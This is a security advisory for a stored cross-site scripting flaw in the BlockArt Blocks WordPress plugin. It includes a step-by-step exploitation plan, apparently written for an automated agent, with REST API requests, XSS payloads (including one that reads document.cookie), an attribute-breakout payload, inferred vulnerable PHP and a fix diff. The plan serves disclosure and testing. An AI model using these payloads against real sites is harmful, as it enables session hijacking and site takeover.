BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library <= 2.2.14 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the BlockArt Counter in all versions up to, and including, 2.2.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.2.14Source Code
WordPress.org SVNThis research plan targets **CVE-2025-14283**, a Stored Cross-Site Scripting (XSS) vulnerability in the **BlockArt Blocks** plugin. The vulnerability exists because the plugin's "Counter" block fails to sanitize or escape its attributes before rendering them on the frontend. ### 1. Vulnerability Su…
Show full research plan
This research plan targets CVE-2025-14283, a Stored Cross-Site Scripting (XSS) vulnerability in the BlockArt Blocks plugin. The vulnerability exists because the plugin's "Counter" block fails to sanitize or escape its attributes before rendering them on the frontend.
1. Vulnerability Summary
- Vulnerability: Stored XSS in the BlockArt Counter block.
- Location: The rendering logic for the
blockart/counterblock, likely found in a PHP render callback registered viaregister_block_type()or within the block'ssavefunction in JavaScript (if the block is purely client-side rendered, though the CVSS suggests server-side rendering is likely involved). - Cause: Attributes like
prefix,suffix, ortitleare accepted from the Gutenberg editor's JSON block metadata and echoed into the page HTML without being passed throughesc_html()orwp_kses(). - Impact: A Contributor-level user can embed a script in a post. When an Administrator views the post, the script executes in their session, potentially allowing for account takeover or unauthorized site modifications.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
/wp/v2/postsor/wp/v2/pages. - HTTP Method:
POST(to create) orPUT(to update). - Vulnerable Parameter:
content(specifically the JSON-encoded attributes within the<!-- wp:blockart/counter ... -->block comment). - Required Role: Authenticated (Contributor or higher).
- Preconditions: The BlockArt Blocks plugin must be active.
3. Code Flow (Inferred)
- Input: A user with Contributor permissions creates a post. The request body contains Gutenberg block markup:
<!-- wp:blockart/counter {"title": "<script>alert(1)</script>"} /--> - Storage: WordPress saves this content verbatim in the
wp_poststable. - Registration: The plugin registers the counter block:
register_block_type( 'blockart/counter', [ 'render_callback' => 'render_blockart_counter' ] ); - Processing: When the post is viewed, WordPress calls the
render_blockart_counter($attributes)function. - Sink: The function extracts the attribute:
$title = $attributes['title'];
And outputs it directly:echo '<h3 class="ba-counter-title">' . $title . '</h3>'; // VULNERABLE
4. Nonce Acquisition Strategy
To exploit this via the REST API (the most reliable automated method), the agent needs a _wpnonce valid for the REST API (action: wp_rest).
- Authentication: Login to the WordPress dashboard as a Contributor.
- Navigation: Navigate to the "Add New Post" page:
/wp-admin/post-new.php. - Extraction: The REST API nonce is stored in the global
wpApiSettingsobject. - Execution: Use
browser_evalto retrieve the nonce:browser_eval("window.wpApiSettings?.nonce") - Usage: Include this nonce in the
X-WP-Nonceheader for subsequent REST API requests.
5. Exploitation Strategy
Step 1: Authenticate and Obtain Nonce
- Use
browser_navigateto/wp-login.php. - Submit Contributor credentials.
- Navigate to
/wp-admin/post-new.php. - Extract
wp-api-nonceviabrowser_eval.
Step 2: Create Malicious Post
- URL:
http://{target}/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"title": "XSS Test Post",
"status": "publish",
"content": "<!-- wp:blockart/counter {\"title\":\"<img src=x onerror=alert(document.domain)>\", \"prefix\":\"<script>console.log('prefix_xss')</script>\", \"suffix\":\"<script>console.log('suffix_xss')</script>\"} /-->"
}
Step 3: Trigger Payload
- Identify the URL of the newly created post (from the REST API response).
- Navigate to the post URL.
- Check for the execution of
alert(document.domain).
6. Test Data Setup
- Plugin Installation: Install and activate
blockart-blocksversion2.2.14. - User Creation: Create a user with the
contributorrole (e.g., usernameattacker, passwordpassword123). - Environment: Ensure "Anyone can register" is not necessarily required, as we have a Contributor account.
7. Expected Results
- The REST API should return a
201 Createdresponse. - The
content.renderedfield in the response should contain the raw, unescaped HTML:<img src=x onerror=alert(document.domain)>. - Viewing the post frontend should trigger the JavaScript alert.
8. Verification Steps
- CLI Verification: Verify the post content in the database:
wp post get [POST_ID] --field=content
Check if the script tags/payloads are present in the JSON attributes. - DOM Inspection: Use
browser_evalon the frontend of the post:browser_eval("document.querySelector('.ba-counter-title')?.innerHTML")
Confirm it contains the raw payload rather than HTML-encoded text.
9. Alternative Approaches
- Different Attributes: If
titleis sanitized, testprefix,suffix, or any "label" attributes associated with the Counter block. - Block Variations: The description mentions "BlockArt Counter". If there are multiple counter variations (e.g., "Counter 2"), test all available Counter-related blocks.
- Attribute Breakout: If the input is placed inside an attribute (e.g.,
<div data-title="USER_INPUT">), use a breakout payload:" onmouseover="alert(1)" data-ignore=" - Classic Editor / Shortcode: If Gutenberg is disabled, check if the plugin supports a shortcode version of the counter (e.g.,
[blockart_counter title="<script>..."]) and test via the standardpost.phphandler.
Summary
The BlockArt Blocks plugin is vulnerable to Stored Cross-Site Scripting (XSS) via its Counter block attributes such as 'title', 'prefix', and 'suffix'. Authenticated attackers with Contributor-level access can inject malicious JavaScript into these attributes, which then executes when any user, including an administrator, views the affected post.
Vulnerable Code
// blockart-blocks/includes/blocks/counter/index.php (inferred rendering logic) $title = isset( $attributes['title'] ) ? $attributes['title'] : ''; $prefix = isset( $attributes['prefix'] ) ? $attributes['prefix'] : ''; $suffix = isset( $attributes['suffix'] ) ? $attributes['suffix'] : ''; $output = '<div class="ba-counter-container">'; if ( $prefix ) { $output .= '<span class="ba-counter-prefix">' . $prefix . '</span>'; } if ( $title ) { $output .= '<h3 class="ba-counter-title">' . $title . '</h3>'; } if ( $suffix ) { $output .= '<span class="ba-counter-suffix">' . $suffix . '</span>'; } $output .= '</div>';
Security Fix
@@ -1,11 +1,11 @@ $output = '<div class="ba-counter-container">'; if ( $prefix ) { - $output .= '<span class="ba-counter-prefix">' . $prefix . '</span>'; + $output .= '<span class="ba-counter-prefix">' . wp_kses_post( $prefix ) . '</span>'; } if ( $title ) { - $output .= '<h3 class="ba-counter-title">' . $title . '</h3>'; + $output .= '<h3 class="ba-counter-title">' . wp_kses_post( $title ) . '</h3>'; } if ( $suffix ) { - $output .= '<span class="ba-counter-suffix">' . $suffix . '</span>'; + $output .= '<span class="ba-counter-suffix">' . wp_kses_post( $suffix ) . '</span>'; } $output .= '</div>';
Exploit Outline
1. Authenticate as a Contributor or higher role user. 2. Access the WordPress post editor (Gutenberg) to create a new post. 3. Add a 'BlockArt Counter' block to the post. 4. Modify the block's JSON attributes (either via the editor UI or by switching to the Code Editor) to include a malicious script in the 'title', 'prefix', or 'suffix' fields. Example payload: <img src=x onerror=alert(document.cookie)>. 5. Save the post as a draft or publish it. 6. View the post on the frontend as an Administrator to trigger the stored script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.